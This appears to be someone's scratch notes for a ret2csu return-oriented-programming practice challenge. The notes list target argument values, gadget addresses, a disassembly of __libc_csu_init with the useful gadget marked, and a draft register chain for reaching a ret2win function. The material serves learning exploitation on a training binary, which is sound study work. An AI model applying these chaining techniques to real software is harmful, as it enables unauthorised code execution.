First three arguments: rdi 0xdeadbeefdeadbeef rsi 0xcafebabecafebabe rdx 0xd00df00dd00df00d weird-ass instructions: 0x0000000000000a08 : retf 0xbabe ret2win@plt: 0000000000400510 0x00000000004006a3 : pop rdi ; ret 0x00000000004006a1 : pop rsi ; pop r15 ; ret ret2csu: file format elf64-x86-64 Disassembly of section .init: Disassembly of section .plt: Disassembly of section .text: 0000000000400640 <__libc_csu_init>: 400640: 41 57 push r15 400642: 41 56 push r14 400644: 49 89 d7 mov r15,rdx 400647: 41 55 push r13 400649: 41 54 push r12 40064b: 4c 8d 25 9e 07 20 00 lea r12,[rip+0x20079e] # 600df0 <__frame_dummy_init_array_entry> 400652: 55 push rbp 400653: 48 8d 2d 9e 07 20 00 lea rbp,[rip+0x20079e] # 600df8 <__do_global_dtors_aux_fini_array_entry> 40065a: 53 push rbx 40065b: 41 89 fd mov r13d,edi 40065e: 49 89 f6 mov r14,rsi 400661: 4c 29 e5 sub rbp,r12 400664: 48 83 ec 08 sub rsp,0x8 400668: 48 c1 fd 03 sar rbp,0x3 40066c: e8 5f fe ff ff call 4004d0 <_init> 400671: 48 85 ed test rbp,rbp 400674: 74 20 je 400696 <__libc_csu_init+0x56> 400676: 31 db xor ebx,ebx 400678: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 40067f: 00 _______this shit is importaint!!!!!! \/ 400680: 4c 89 fa mov rdx,r15 400683: 4c 89 f6 mov rsi,r14 400686: 44 89 ef mov edi,r13d 400689: 41 ff 14 dc call QWORD PTR [r12+rbx*8] _________________________ 40068d: 48 83 c3 01 add rbx,0x1 400691: 48 39 dd cmp rbp,rbx 400694: 75 ea jne 400680 <__libc_csu_init+0x40> 400696: 48 83 c4 08 add rsp,0x8 _________________________ 40069a: 5b pop rbx 40069b: 5d pop rbp 40069c: 41 5c pop r12 40069e: 41 5d pop r13 4006a0: 41 5e pop r14 4006a2: 41 5f pop r15 4006a4: c3 ret Disassembly of section .fini: calling x86: controlling rdx: 1: 0x00000000004006a3 rdi : 0xdeadbeefdeadbeef 2: 0x40069a rbx: 0 <-- rbp: whatever r12: 0x601020 <-- next location. lets try to make it ret2win r13: 0xdeadbeef <-- would be nice if we could use a 64 bit value r14: 0xcafebabecafebabe r15: 0xd00df00dd00df00d <-- 3: 0x0000000000400510 (ret2win)